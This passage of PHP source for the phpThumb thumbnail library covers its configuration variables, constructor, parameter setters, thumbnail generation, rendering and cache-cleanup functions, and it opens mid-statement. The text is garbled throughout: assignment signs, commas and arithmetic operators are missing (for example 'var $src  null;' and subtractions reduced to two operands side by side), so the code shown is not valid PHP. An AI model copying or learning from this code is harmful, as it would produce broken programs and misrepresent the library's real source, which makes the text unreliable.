dirname(__FILE__).'/phpthumb.functions.php')) {
    
ob_end_flush();
    die(
'failed to include_once("'.realpath(dirname(__FILE__).'/phpthumb.functions.php').'")');
}
ob_end_clean();

class 
phpthumb {

    
// public:
    // START PARAMETERS (for object mode and phpThumb.php)
    // See phpthumb.readme.txt for descriptions of what each of these values are
    
var $src  null;     // SouRCe filename
    
var $new  null;     // NEW image (phpThumb.php only)
    
var $w    null;     // Width
    
var $h    null;     // Height
    
var $wp   null;     // Width  (Portrait Images Only)
    
var $hp   null;     // Height (Portrait Images Only)
    
var $wl   null;     // Width  (Landscape Images Only)
    
var $hl   null;     // Height (Landscape Images Only)
    
var $ws   null;     // Width  (Square Images Only)
    
var $hs   null;     // Height (Square Images Only)
    
var $f    null;     // output image Format
    
var $q    75;       // jpeg output Quality
    
var $sx   null;     // Source crop top-left X position
    
var $sy   null;     // Source crop top-left Y position
    
var $sw   null;     // Source crop Width
    
var $sh   null;     // Source crop Height
    
var $zc   null;     // Zoom Crop
    
var $bc   null;     // Border Color
    
var $bg   null;     // BackGround color
    
var $fltr = array();  // FiLTeRs
    
var $goto null;     // GO TO url after processing
    
var $err  null;     // default ERRor image filename
    
var $xto  null;     // extract eXif Thumbnail Only
    
var $ra   null;     // Rotate by Angle
    
var $ar   null;     // Auto Rotate
    
var $aoe  null;     // Allow Output Enlargement
    
var $far  null;     // Fixed Aspect Ratio
    
var $iar  null;     // Ignore Aspect Ratio
    
var $maxb null;     // MAXimum Bytes
    
var $down null;     // DOWNload thumbnail filename
    
var $md5s null;     // MD5 hash of Source image
    
var $sfn  0;        // Source Frame Number
    
var $dpi  150;      // Dots Per Inch for vector source formats
    
var $sia  null;     // Save Image As filename

    
var $file null;     // >>>deprecated, DO NOT USE, will be removed in future versions<<<

    
var $phpThumbDebug null;
    
// END PARAMETERS


    // public:
    // START CONFIGURATION OPTIONS (for object mode only)
    // See phpThumb.config.php for descriptions of what each of these settings do

    // * Directory Configuration
    
var $config_cache_directory                      null;
    var 
$config_cache_directory_depth                0;
    var 
$config_cache_disable_warning                true;
    var 
$config_cache_source_enabled                 false;
    var 
$config_cache_source_directory               null;
    var 
$config_temp_directory                       null;
    var 
$config_document_root                        null;

    
// * Default output configuration:
    
var $config_output_format                        'jpeg';
    var 
$config_output_maxwidth                      0;
    var 
$config_output_maxheight                     0;
    var 
$config_output_interlace                     true;

    
// * Error message configuration
    
var $config_error_image_width                    400;
    var 
$config_error_image_height                   100;
    var 
$config_error_message_image_default          '';
    var 
$config_error_bgcolor                        'CCCCFF';
    var 
$config_error_textcolor                      'FF0000';
    var 
$config_error_fontsize                       1;
    var 
$config_error_die_on_error                   false;
    var 
$config_error_silent_die_on_error            false;
    var 
$config_error_die_on_source_failure          true;

    
// * Anti-Hotlink Configuration:
    
var $config_nohotlink_enabled                    true;
    var 
$config_nohotlink_valid_domains              = array();
    var 
$config_nohotlink_erase_image                true;
    var 
$config_nohotlink_text_message               'Off-server thumbnailing is not allowed';
    
// * Off-server Linking Configuration:
    
var $config_nooffsitelink_enabled                false;
    var 
$config_nooffsitelink_valid_domains          = array();
    var 
$config_nooffsitelink_require_refer          false;
    var 
$config_nooffsitelink_erase_image            true;
    var 
$config_nooffsitelink_watermark_src          '';
    var 
$config_nooffsitelink_text_message           'Off-server linking is not allowed';

    
// * Border & Background default colors
    
var $config_border_hexcolor                      '000000';
    var 
$config_background_hexcolor                  'FFFFFF';

    
// * TrueType Fonts
    
var $config_ttf_directory                        './fonts';

    var 
$config_max_source_pixels                    null;
    var 
$config_use_exif_thumbnail_for_speed         false;
    var 
$allow_local_http_src                        false;

    var 
$config_imagemagick_path                     null;
    var 
$config_prefer_imagemagick                   true;
    var 
$config_imagemagick_use_thumbnail            true;

    var 
$config_cache_maxage                         null;
    var 
$config_cache_maxsize                        null;
    var 
$config_cache_maxfiles                       null;
    var 
$config_cache_source_filemtime_ignore_local  false;
    var 
$config_cache_source_filemtime_ignore_remote true;
    var 
$config_cache_default_only_suffix            false;
    var 
$config_cache_force_passthru                 true;
    var 
$config_cache_prefix                         '';    // default value set in the constructor below

    // * MySQL
    
var $config_mysql_query                          null;
    var 
$config_mysql_hostname                       null;
    var 
$config_mysql_username                       null;
    var 
$config_mysql_password                       null;
    var 
$config_mysql_database                       null;

    
// * Security
    
var $config_high_security_enabled                false;
    var 
$config_high_security_password               null;
    var 
$config_disable_debug                        false;
    var 
$config_allow_src_above_docroot              false;
    var 
$config_allow_src_above_phpthumb             true;
    var 
$config_allow_parameter_file                 false;
    var 
$config_allow_parameter_goto                 false;

    
// * HTTP fopen
    
var $config_http_fopen_timeout                   10;
    var 
$config_http_follow_redirect                 true;

    
// * Compatability
    
var $config_disable_pathinfo_parsing             false;
    var 
$config_disable_imagecopyresampled           false;
    var 
$config_disable_onlycreateable_passthru      false;

    var 
$config_http_user_agent                      'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7';

    
// END CONFIGURATION OPTIONS


    // public: error messages (read-only; persistant)
    
var $debugmessages = array();
    var 
$debugtiming   = array();
    var 
$fatalerror    null;


    
// private: (should not be modified directly)
    
var $thumbnailQuality 75;
    var 
$thumbnailFormat  null;

    var 
$sourceFilename   null;
    var 
$rawImageData     null;
    var 
$IMresizedData    null;
    var 
$outputImageData  null;

    var 
$useRawIMoutput   false;

    var 
$gdimg_output     null;
    var 
$gdimg_source     null;

    var 
$getimagesizeinfo null;

    var 
$source_width  null;
    var 
$source_height null;

    var 
$thumbnailCropX null;
    var 
$thumbnailCropY null;
    var 
$thumbnailCropW null;
    var 
$thumbnailCropH null;

    var 
$exif_thumbnail_width  null;
    var 
$exif_thumbnail_height null;
    var 
$exif_thumbnail_type   null;
    var 
$exif_thumbnail_data   null;
    var 
$exif_raw_data         null;

    var 
$thumbnail_width        null;
    var 
$thumbnail_height       null;
    var 
$thumbnail_image_width  null;
    var 
$thumbnail_image_height null;

    var 
$cache_filename         null;

    var 
$AlphaCapableFormats = array('png''ico''gif');
    var 
$is_alpha false;

    var 
$iswindows null;

    var 
$phpthumb_version '1.7.9-200805132119';

    
//////////////////////////////////////////////////////////////////////

    // public: constructor
    
function phpThumb() {
        
$this->DebugTimingMessage('phpThumb() constructor'__FILE____LINE__);
        
$this->DebugMessage('phpThumb() v'.$this->phpthumb_version__FILE____LINE__);
        
$this->config_max_source_pixels round(max(intval(ini_get('memory_limit')), intval(get_cfg_var('memory_limit'))) * 1048576 0.20); // 20% of memory_limit
        
$this->iswindows = (bool) (strtoupper(substr(PHP_OS03)) == 'WIN');
        
$this->config_document_root = (@$_SERVER['DOCUMENT_ROOT'] ? $_SERVER['DOCUMENT_ROOT'] : $this->config_document_root);
        
$this->config_cache_prefix 'phpThumb_cache_'.@$_SERVER['SERVER_NAME'];

        
$php_sapi_name strtolower(function_exists('php_sapi_name') ? php_sapi_name() : '');
        if (
$php_sapi_name == 'cli') {
            
$this->config_allow_src_above_docroot true;
        }
    }

    
// public:
    
function setSourceFilename($sourceFilename) {
        
//$this->resetObject();
        //$this->rawImageData   = null;
        
$this->sourceFilename $sourceFilename;
        
$this->src            $sourceFilename;
        if (
is_null($this->config_output_format)) {
            
$sourceFileExtension strtolower(substr(strrchr($sourceFilename'.'), 1));
            if (
ereg('^[a-z]{3,4}$'$sourceFileExtension)) {
                
$this->config_output_format $sourceFileExtension;
                
$this->DebugMessage('setSourceFilename('.$sourceFilename.') set $this->config_output_format to "'.$sourceFileExtension.'"'__FILE____LINE__);
            } else {
                
$this->DebugMessage('setSourceFilename('.$sourceFilename.') did NOT set $this->config_output_format to "'.$sourceFileExtension.'" because it did not seem like an appropriate image format'__FILE____LINE__);
            }
        }
        
$this->DebugMessage('setSourceFilename('.$sourceFilename.') set $this->sourceFilename to "'.$this->sourceFilename.'"'__FILE____LINE__);
        return 
true;
    }

    
// public:
    
function setSourceData($rawImageData$sourceFilename='') {
        
//$this->resetObject();
        //$this->sourceFilename = null;
        
$this->rawImageData   $rawImageData;
        
$this->DebugMessage('setSourceData() setting $this->rawImageData ('.strlen($this->rawImageData).' bytes; magic="'.substr($this->rawImageData04).'" ('.phpthumb_functions::HexCharDisplay(substr($this->rawImageData04)).'))'__FILE____LINE__);
        if (
$this->config_cache_source_enabled) {
            
$sourceFilename = ($sourceFilename $sourceFilename md5($rawImageData));
            if (!
is_dir($this->config_cache_source_directory)) {
                
$this->ErrorImage('$this->config_cache_source_directory ('.$this->config_cache_source_directory.') is not a directory');
            } elseif (!@
is_writable($this->config_cache_source_directory)) {
                
$this->ErrorImage('$this->config_cache_source_directory ('.$this->config_cache_source_directory.') is not writable');
            }
            
$this->DebugMessage('setSourceData() attempting to save source image to "'.$this->config_cache_source_directory.DIRECTORY_SEPARATOR.urlencode($sourceFilename).'"'__FILE____LINE__);
            if (
$fp = @fopen($this->config_cache_source_directory.DIRECTORY_SEPARATOR.urlencode($sourceFilename), 'wb')) {
                
fwrite($fp$rawImageData);
                
fclose($fp);
            } elseif (!
$this->phpThumbDebug) {
                
$this->ErrorImage('setSourceData() failed to write to source cache ('.$this->config_cache_source_directory.DIRECTORY_SEPARATOR.urlencode($sourceFilename).')');
            }
        }
        return 
true;
    }

    
// public:
    
function setSourceImageResource($gdimg) {
        
//$this->resetObject();
        
$this->gdimg_source $gdimg;
        return 
true;
    }

    
// public:
    
function setParameter($param$value) {
        if (
$param == 'src') {
            
$this->setSourceFilename($this->ResolveFilenameToAbsolute($value));
        } elseif (@
is_array($this->$param)) {
            if (
is_array($value)) {
                foreach (
$value as $arraykey => $arrayvalue) {
                    
array_push($this->$param$arrayvalue);
                }
            } else {
                
array_push($this->$param$value);
            }
        } else {
            
$this->$param $value;
        }
        return 
true;
    }

    
// public:
    
function getParameter($param) {
        
//if (property_exists('phpThumb', $param)) {
            
return $this->$param;
        
//}
        //$this->DebugMessage('setParameter() attempting to get non-existant parameter "'.$param.'"', __FILE__, __LINE__);
        //return false;
    
}


    
// public:
    
function GenerateThumbnail() {

        
$this->setOutputFormat();
            
$this->phpThumbDebug('8a');
        
$this->ResolveSource();
            
$this->phpThumbDebug('8b');
        
$this->SetCacheFilename();
            
$this->phpThumbDebug('8c');
        
$this->ExtractEXIFgetImageSize();
            
$this->phpThumbDebug('8d');
        if (
$this->useRawIMoutput) {
            
$this->DebugMessage('Skipping rest of GenerateThumbnail() because ($this->useRawIMoutput == true)'__FILE____LINE__);
            return 
true;
        }
            
$this->phpThumbDebug('8e');
        if (!
$this->SourceImageToGD()) {
            
$this->DebugMessage('SourceImageToGD() failed'__FILE____LINE__);
            return 
false;
        }
            
$this->phpThumbDebug('8f');
        
$this->Rotate();
            
$this->phpThumbDebug('8g');
        
$this->CreateGDoutput();
            
$this->phpThumbDebug('8h');

        switch (
$this->far) {
            case 
'L':
            case 
'TL':
            case 
'BL':
                
$destination_offset_x 0;
                
$destination_offset_y round(($this->thumbnail_height $this->thumbnail_image_height) / 2);
                break;
            case 
'R':
            case 
'TR':
            case 
'BR':
                
$destination_offset_x =  round($this->thumbnail_width  $this->thumbnail_image_width);
                
$destination_offset_y round(($this->thumbnail_height $this->thumbnail_image_height) / 2);
                break;
            case 
'T':
            case 
'TL':
            case 
'TR':
                
$destination_offset_x round(($this->thumbnail_width  $this->thumbnail_image_width)  / 2);
                
$destination_offset_y 0;
                break;
            case 
'B':
            case 
'BL':
            case 
'BR':
                
$destination_offset_x round(($this->thumbnail_width  $this->thumbnail_image_width)  / 2);
                
$destination_offset_y =  round($this->thumbnail_height $this->thumbnail_image_height);
                break;
            case 
'C':
            default:
                
$destination_offset_x round(($this->thumbnail_width  $this->thumbnail_image_width)  / 2);
                
$destination_offset_y round(($this->thumbnail_height $this->thumbnail_image_height) / 2);
        }

//        // copy/resize image to appropriate dimensions
//        $borderThickness = 0;
//        if (!empty($this->fltr)) {
//            foreach ($this->fltr as $key => $value) {
//                if (ereg('^bord\|([0-9]+)', $value, $matches)) {
//                    $borderThickness = $matches[1];
//                    break;
//                }
//            }
//        }
//        if ($borderThickness > 0) {
//            //$this->DebugMessage('Skipping ImageResizeFunction() because BorderThickness="'.$borderThickness.'"', __FILE__, __LINE__);
//            $this->thumbnail_image_height /= 2;
//        }
        
$this->ImageResizeFunction(
            
$this->gdimg_output,
            
$this->gdimg_source,
            
$destination_offset_x,
            
$destination_offset_y,
            
$this->thumbnailCropX,
            
$this->thumbnailCropY,
            
$this->thumbnail_image_width,
            
$this->thumbnail_image_height,
            
$this->thumbnailCropW,
            
$this->thumbnailCropH
        
);

        
$this->DebugMessage('memory_get_usage() after copy-resize = '.(function_exists('memory_get_usage') ? @memory_get_usage() : 'n/a'), __FILE____LINE__);
        
ImageDestroy($this->gdimg_source);
        
$this->DebugMessage('memory_get_usage() after ImageDestroy = '.(function_exists('memory_get_usage') ? @memory_get_usage() : 'n/a'), __FILE____LINE__);

            
$this->phpThumbDebug('8i');
        
$this->AntiOffsiteLinking();
            
$this->phpThumbDebug('8j');
        
$this->ApplyFilters();
            
$this->phpThumbDebug('8k');
        
$this->AlphaChannelFlatten();
            
$this->phpThumbDebug('8l');
        
$this->MaxFileSize();
            
$this->phpThumbDebug('8m');

        
$this->DebugMessage('GenerateThumbnail() completed successfully'__FILE____LINE__);
        return 
true;
    }


    
// public:
    
function RenderOutput() {
        if (!
$this->useRawIMoutput && !is_resource($this->gdimg_output)) {
            
$this->DebugMessage('RenderOutput() failed because !is_resource($this->gdimg_output)'__FILE____LINE__);
            return 
false;
        }
        if (!
$this->thumbnailFormat) {
            
$this->DebugMessage('RenderOutput() failed because $this->thumbnailFormat is empty'__FILE____LINE__);
            return 
false;
        }
        if (
$this->useRawIMoutput) {
            
$this->DebugMessage('RenderOutput copying $this->IMresizedData ('.strlen($this->IMresizedData).' bytes) to $this->outputImage'__FILE____LINE__);
            
$this->outputImageData $this->IMresizedData;
            return 
true;
        }

        
$builtin_formats = array();
        if (
function_exists('ImageTypes')) {
            
$imagetypes ImageTypes();
            
$builtin_formats['wbmp'] = (bool) ($imagetypes IMG_WBMP);
            
$builtin_formats['jpg']  = (bool) ($imagetypes IMG_JPG);
            
$builtin_formats['gif']  = (bool) ($imagetypes IMG_GIF);
            
$builtin_formats['png']  = (bool) ($imagetypes IMG_PNG);
        }
        
$this->DebugMessage('RenderOutput() attempting Image'.strtoupper(@$this->thumbnailFormat).'($this->gdimg_output)'__FILE____LINE__);
        
ob_start();
        switch (
$this->thumbnailFormat) {
            case 
'wbmp':
                if (!@
$builtin_formats['wbmp']) {
                    
$this->DebugMessage('GD does not have required built-in support for WBMP output'__FILE____LINE__);
                    
ob_end_clean();
                    return 
false;
                }
                
ImageJPEG($this->gdimg_outputnull$this->thumbnailQuality);
                
$this->outputImageData ob_get_contents();
                break;

            case 
'jpeg':
            case 
'jpg':  // should be "jpeg" not "jpg" but just in case...
                
if (!@$builtin_formats['jpg']) {
                    
$this->DebugMessage('GD does not have required built-in support for JPEG output'__FILE____LINE__);
                    
ob_end_clean();
                    return 
false;
                }
                
ImageJPEG($this->gdimg_outputnull$this->thumbnailQuality);
                
$this->outputImageData ob_get_contents();
                break;

            case 
'png':
                if (!@
$builtin_formats['png']) {
                    
$this->DebugMessage('GD does not have required built-in support for PNG output'__FILE____LINE__);
                    
ob_end_clean();
                    return 
false;
                }
                
ImagePNG($this->gdimg_output);
                
$this->outputImageData ob_get_contents();
                break;

            case 
'gif':
                if (!@
$builtin_formats['gif']) {
                    
$this->DebugMessage('GD does not have required built-in support for GIF output'__FILE____LINE__);
                    
ob_end_clean();
                    return 
false;
                }
                
ImageGIF($this->gdimg_output);
                
$this->outputImageData ob_get_contents();
                break;

            case 
'bmp':
                
$ImageOutFunction '"builtin BMP output"';
                if (!@include_once(
dirname(__FILE__).'/phpthumb.bmp.php')) {
                    
$this->DebugMessage('Error including "'.dirname(__FILE__).'/phpthumb.bmp.php" which is required for BMP format output'__FILE____LINE__);
                    
ob_end_clean();
                    return 
false;
                }
                
$phpthumb_bmp = new phpthumb_bmp();
                
$this->outputImageData $phpthumb_bmp->GD2BMPstring($this->gdimg_output);
                unset(
$phpthumb_bmp);
                break;

            case 
'ico':
                
$ImageOutFunction '"builtin ICO output"';
                if (!@include_once(
dirname(__FILE__).'/phpthumb.ico.php')) {
                    
$this->DebugMessage('Error including "'.dirname(__FILE__).'/phpthumb.ico.php" which is required for ICO format output'__FILE____LINE__);
                    
ob_end_clean();
                    return 
false;
                }
                
$phpthumb_ico = new phpthumb_ico();
                
$arrayOfOutputImages = array($this->gdimg_output);
                
$this->outputImageData $phpthumb_ico->GD2ICOstring($arrayOfOutputImages);
                unset(
$phpthumb_ico);
                break;

            default:
                
$this->DebugMessage('RenderOutput failed because $this->thumbnailFormat "'.$this->thumbnailFormat.'" is not valid'__FILE____LINE__);
                
ob_end_clean();
                return 
false;
        }
        
ob_end_clean();
        if (!
$this->outputImageData) {
            
$this->DebugMessage('RenderOutput() for "'.$this->thumbnailFormat.'" failed'__FILE____LINE__);
            
ob_end_clean();
            return 
false;
        }
        
$this->DebugMessage('RenderOutput() completing with $this->outputImageData = '.strlen($this->outputImageData).' bytes'__FILE____LINE__);
        return 
true;
    }


    
// public:
    
function RenderToFile($filename) {
        if (
eregi('^(f|ht)tps?\://'$filename)) {
            
$this->DebugMessage('RenderToFile() failed because $filename ('.$filename.') is a URL'__FILE____LINE__);
            return 
false;
        }
        
// render thumbnail to this file only, do not cache, do not output to browser
        //$renderfilename = $this->ResolveFilenameToAbsolute(dirname($filename)).DIRECTORY_SEPARATOR.basename($filename);
        
$renderfilename $filename;
        if ((
$filename{0} != '/') && ($filename{0} != '\\') && ($filename{1} != ':')) {
            
$renderfilename $this->ResolveFilenameToAbsolute($renderfilename);
        }
        if (!@
is_writable(dirname($renderfilename))) {
            
$this->DebugMessage('RenderToFile() failed because "'.dirname($renderfilename).'/" is not writable'__FILE____LINE__);
            return 
false;
        }
        if (@
is_file($renderfilename) && !@is_writable($renderfilename)) {
            
$this->DebugMessage('RenderToFile() failed because "'.$renderfilename.'" is not writable'__FILE____LINE__);
            return 
false;
        }

        if (
$this->RenderOutput()) {
            if (
file_put_contents($renderfilename$this->outputImageData)) {
                
$this->DebugMessage('RenderToFile('.$renderfilename.') succeeded'__FILE____LINE__);
                return 
true;
            }
            if (!@
file_exists($renderfilename)) {
                
$this->DebugMessage('RenderOutput ['.$this->thumbnailFormat.'('.$renderfilename.')] did not appear to fail, but the output image does not exist either...'__FILE____LINE__);
            }
        } else {
            
$this->DebugMessage('RenderOutput ['.$this->thumbnailFormat.'('.$renderfilename.')] failed'__FILE____LINE__);
        }
        return 
false;
    }


    
// public:
    
function OutputThumbnail() {
        if (!
$this->useRawIMoutput && !is_resource($this->gdimg_output)) {
            
$this->DebugMessage('OutputThumbnail() failed because !is_resource($this->gdimg_output)'__FILE____LINE__);
            return 
false;
        }
        if (
headers_sent()) {
            return 
$this->ErrorImage('OutputThumbnail() failed - headers already sent');
            exit;
        }

        
$downloadfilename phpthumb_functions::SanitizeFilename(is_string($this->sia) ? $this->sia : ($this->down $this->down 'phpThumb_generated_thumbnail'.'.'.$this->thumbnailFormat));
        
$this->DebugMessage('Content-Disposition header filename set to "'.$downloadfilename.'"'__FILE____LINE__);
        if (
$downloadfilename) {
            
header('Content-Disposition: '.($this->down 'attachment' 'inline').'; filename="'.$downloadfilename.'"');
        } else {
            
$this->DebugMessage('failed to send Content-Disposition header because $downloadfilename is empty'__FILE____LINE__);
        }

        if (
$this->useRawIMoutput) {

            
header('Content-Type: '.phpthumb_functions::ImageTypeToMIMEtype($this->thumbnailFormat));
            echo 
$this->IMresizedData;

        } else {

            
$this->DebugMessage('ImageInterlace($this->gdimg_output, '.intval($this->config_output_interlace).')'__FILE____LINE__);
            
ImageInterlace($this->gdimg_outputintval($this->config_output_interlace));
            switch (
$this->thumbnailFormat) {
                case 
'jpeg':
                    
header('Content-Type: '.phpthumb_functions::ImageTypeToMIMEtype($this->thumbnailFormat));
                    
$ImageOutFunction 'image'.$this->thumbnailFormat;
                    @
$ImageOutFunction($this->gdimg_output''$this->thumbnailQuality);
                    break;

                case 
'png':
                case 
'gif':
                    
header('Content-Type: '.phpthumb_functions::ImageTypeToMIMEtype($this->thumbnailFormat));
                    
$ImageOutFunction 'image'.$this->thumbnailFormat;
                    @
$ImageOutFunction($this->gdimg_output);
                    break;

                case 
'bmp':
                    if (!@include_once(
dirname(__FILE__).'/phpthumb.bmp.php')) {
                        
$this->DebugMessage('Error including "'.dirname(__FILE__).'/phpthumb.bmp.php" which is required for BMP format output'__FILE____LINE__);
                        return 
false;
                    }
                    
$phpthumb_bmp = new phpthumb_bmp();
                    if (
is_object($phpthumb_bmp)) {
                        
$bmp_data $phpthumb_bmp->GD2BMPstring($this->gdimg_output);
                        unset(
$phpthumb_bmp);
                        if (!
$bmp_data) {
                            
$this->DebugMessage('$phpthumb_bmp->GD2BMPstring() failed'__FILE____LINE__);
                            return 
false;
                        }
                        
header('Content-Type: '.phpthumb_functions::ImageTypeToMIMEtype($this->thumbnailFormat));
                        echo 
$bmp_data;
                    } else {
                        
$this->DebugMessage('new phpthumb_bmp() failed'__FILE____LINE__);
                        return 
false;
                    }
                    break;

                case 
'ico':
                    if (!@include_once(
dirname(__FILE__).'/phpthumb.ico.php')) {
                        
$this->DebugMessage('Error including "'.dirname(__FILE__).'/phpthumb.ico.php" which is required for ICO format output'__FILE____LINE__);
                        return 
false;
                    }
                    
$phpthumb_ico = new phpthumb_ico();
                    if (
is_object($phpthumb_ico)) {
                        
$arrayOfOutputImages = array($this->gdimg_output);
                        
$ico_data $phpthumb_ico->GD2ICOstring($arrayOfOutputImages);
                        unset(
$phpthumb_ico);
                        if (!
$ico_data) {
                            
$this->DebugMessage('$phpthumb_ico->GD2ICOstring() failed'__FILE____LINE__);
                            return 
false;
                        }
                        
header('Content-Type: '.phpthumb_functions::ImageTypeToMIMEtype($this->thumbnailFormat));
                        echo 
$ico_data;
                    } else {
                        
$this->DebugMessage('new phpthumb_ico() failed'__FILE____LINE__);
                        return 
false;
                    }
                    break;

                default:
                    
$this->DebugMessage('OutputThumbnail failed because $this->thumbnailFormat "'.$this->thumbnailFormat.'" is not valid'__FILE____LINE__);
                    return 
false;
                    break;
            }

        }
        return 
true;
    }


    
// public:
    
function CleanUpCacheDirectory() {
        
$this->DebugMessage('skipping CleanUpCacheDirectory() set to purge ('.number_format($this->config_cache_maxage 864001).' days; '.number_format($this->config_cache_maxsize 10485762).'MB; '.number_format($this->config_cache_maxfiles).' files)'__FILE____LINE__);
        
$DeletedKeys = array();
        
$AllFilesInCacheDirectory = array();
        if ((
$this->config_cache_maxage 0) || ($this->config_cache_maxsize 0) || ($this->config_cache_maxfiles 0)) {
            
$CacheDirOldFilesAge  = array();
            
$CacheDirOldFilesSize = array();
            
$AllFilesInCacheDirectory phpthumb_functions::GetAllFilesInSubfolders($this->config_cache_directory);
            foreach (
$AllFilesInCacheDirectory as $fullfilename) {
                if (
eregi('^phpThumb_cache_'basename($fullfilename)) && file_exists($fullfilename)) {
                    
$CacheDirOldFilesAge[$fullfilename] = @fileatime($fullfilename);
                    if (
$CacheDirOldFilesAge[$fullfilename] == 0) {
                        
$CacheDirOldFilesAge[$fullfilename] = @filemtime($fullfilename);
                    }
                    
$CacheDirOldFilesSize[$fullfilename] = @filesize($fullfilename);
                }
            }
            if (empty(
$CacheDirOldFilesSize)) {
                return 
true;
            }
            
$DeletedKeys['zerobyte'] = array();
            foreach (
$CacheDirOldFilesSize as $fullfilename => $filesize) {
                
// purge all zero-size files more than an hour old (to prevent trying to delete just-created and/or in-use files)
                
$cutofftime time() - 3600;
                if ((
$filesize == 0) && ($CacheDirOldFilesAge[$fullfilename] < $cutofftime)) {
                    
$this->DebugMessage('deleting "'.$fullfilename.'"'__FILE____LINE__);
                    if (@
unlink($fullfilename)) {
                        
$DeletedKeys['zerobyte'][] = $fullfilename;
                        unset(
$CacheDirOldFilesSize[$fullfilename]);
                        unset(
$CacheDirOldFilesAge[$fullfilename]);
                    }
                }
            }
            
$this->DebugMessage('CleanUpCacheDirectory() purged '.count($DeletedKeys['zerobyte']).' zero-byte files'__FILE____LINE__);
            
asort($CacheDirOldFilesAge);

            if (
$this->config_cache_maxfiles 0) {
                
$TotalCachedFiles count($CacheDirOldFilesAge);
                
$DeletedKeys['maxfiles'] = array();
                foreach (
$CacheDirOldFilesAge as $fullfilename => $filedate) {
                    if (
$TotalCachedFiles $this->config_cache_maxfiles) {
                        
$this->DebugMessage('deleting "'.$fullfilename.'"'__FILE____LINE__);
                        if (@
unlink($fullfilename)) {
                            
$TotalCachedFiles--;
                            
$DeletedKeys['maxfiles'][] = $fullfilename;
                        }
                    } else {
                        
// there are few enough files to keep the rest
                        
break;
                    }
                }
                
$this->DebugMessage('CleanUpCacheDirectory() purged '.count($DeletedKeys['maxfiles']).' files based on (config_cache_maxfiles='.$this->config_cache_maxfiles.')'__FILE____LINE__);
                foreach (
$DeletedKeys['maxfiles'] as $fullfilename) {
                    unset(
$CacheDirOldFilesAge[$fullfilename]);
                    unset(
$CacheDirOldFilesSize[$fullfilename]);
                }
            }

            if (
$this->config_cache_maxage 0) {
                
$mindate time() - $this->config_cache_maxage;
                
$DeletedKeys['maxage'] = array();
                foreach (
$CacheDirOldFilesAge as $fullfilename => $filedate) {
                    if (
$filedate 0) {
                        if (
$filedate $mindate) {
                            
$this->DebugMessage('deleting "'.$fullfilename.'"'__FILE____LINE__);
                            if (@
unlink($fullfilename)) {
                                
$DeletedKeys['maxage'][] = $fullfilename;
                            }
                        } else {
                            
// the rest of the files are new enough to keep
                            
break;
                        }
                    }
                }
                
$this->DebugMessage('CleanUpCacheDirectory() purged '.count($DeletedKeys['maxage']).' files based on (config_cache_maxage='.$this->config_cache_maxage.')'__FILE____LINE__);
                foreach (
$DeletedKeys['maxage'] as $fullfilename) {
                    unset(
$CacheDirOldFilesAge[$fullfilename]);
                    unset(
$CacheDirOldFilesSize[$fullfilename]);
                }
            }

            if (
$this->config_cache_maxsize 0) {
                
$TotalCachedFileSize array_sum($CacheDirOldFilesSize);
                
$DeletedKeys['maxsize'] = array();
                foreach (
$CacheDirOldFilesAge as $fullfilename => $filedate) {
                    if (
$TotalCachedFileSize $this->config_cache_maxsize) {
                        
$this->DebugMessage('deleting "'.$fullfilename.'"'__FILE____LINE__);
                        if (@
unlink($fullfilename)) {
                            
$TotalCachedFileSize -= $CacheDirOldFilesSize[$fullfilename];
                            
$DeletedKeys['maxsize'][] = $fullfilename;
                        }
                    } else {
                        
// the total filesizes are small enough to keep the rest of the files
                        
break;
                    }
                }
                
$this->DebugMessage('CleanUpCacheDirectory() purged '.count($DeletedKeys['maxsize']).' files based on (config_cache_maxsize='.$this->config_cache_maxsize.')'__FILE____LINE__);
                foreach (
$DeletedKeys['maxsize'] as $fullfilename) {
                    unset(
$CacheDirOldFilesAge[$fullfilename]);
                    unset(
$CacheDirOldFilesSize[$fullfilename]);
                }
            }

        } else {
            
$this->DebugMessage('skipping CleanUpCacheDirectory() because config set to not use it'__FILE____LINE__);
        }
        
$totalpurged 0;
        foreach (
$DeletedKeys as $key => $value) {
            
$totalpurged += count($value);
        }
        
$this->DebugMessage('CleanUpCacheDirectory() purged '.$totalpurged.' files (from '.count($AllFilesInCacheDirectory).') based on config settings'__FILE____LINE__);
        if (
$totalpurged 0) {
            
$empty_dirs = array();
            foreach (
$AllFilesInCacheDirectory as $fullfilename) {
                if (
is_dir($fullfilename)) {
                    
$empty_dirs[realpath($fullfilename)] = 1;
                } else {
                    unset(
$empty_dirs[realpath(dirname($fullfilename))]);
                }
            }
            
krsort($empty_dirs);
            
$totalpurgeddirs 0;
            foreach (
$empty_dirs as $empty_dir => $dummy) {
                if (
$empty_dir == $this->config_cache_directory) {
                    
// shouldn't happen, but just in case, don't let it delete actual cache directory
                    
continue;
                } elseif (@
rmdir($empty_dir)) {
                    
$totalpurgeddirs++;
                } else {
                    
$this->DebugMessage('failed to rmdir('.$empty_dir.')'__FILE____LINE__);
                }
            }
            
$this->DebugMessage('purged '.$totalpurgeddirs.' empty directories'__FILE____LINE__);
        }
        return 
true;
    }

    
//////////////////////////////////////////////////////////////////////

    // private: re-initializator (call between rendering multiple images with one object)
    
function resetObject() {
        
$class_vars get_class_vars(get_class($this));
        foreach (
$class_vars as $key => $value) {
            
// do not clobber debug or config info
            
if (!eregi('^(config_|debug|fatalerror)'$key)) {
                
$this->$key $value;
            }
        }
        
$this->phpThumb(); // re-initialize some class variables
        
return true;
    }

    
//////////////////////////////////////////////////////////////////////

    
function ResolveSource() {
        if (
is_resource($this->gdimg_source)) {
            
$this->DebugMessage('ResolveSource() exiting because is_resource($this->gdimg_source)'__FILE____LINE__);
            return 
true;
        }
        if (
$this->rawImageData) {
            
$this->sourceFilename null;
            
$this->DebugMessage('ResolveSource() exiting because $this->rawImageData is set ('.number_format(strlen($this->rawImageData)).' bytes)'__FILE____LINE__);
            return 
true;
        }
        if (
$this->sourceFilename) {
            
$this->sourceFilename $this->ResolveFilenameToAbsolute($this->sourceFilename);
            
$this->DebugMessage('$this->sourceFilename set to "'.$this->sourceFilename.'"'__FILE____LINE__);
        } elseif (
$this->src) {
            
$this->sourceFilename $this->ResolveFilenameToAbsolute($this->src);
            
$this->DebugMessage('$this->sourceFilename set to "'.$this->sourceFilename.'" from $this->src ('.$this->src.')'__FILE____LINE__);
        } else {
            return 
$this->ErrorImage('$this->sourceFilename and $this->src are both empty');
        }
        if (
$this->iswindows && ((substr($this->sourceFilename02) == '//') || (substr($this->sourceFilename02) == '\\\\'))) {
            
// Windows \\share\filename.ext
        
} elseif (eregi('^(f|ht)tps?\://'$this->sourceFilename)) {
            
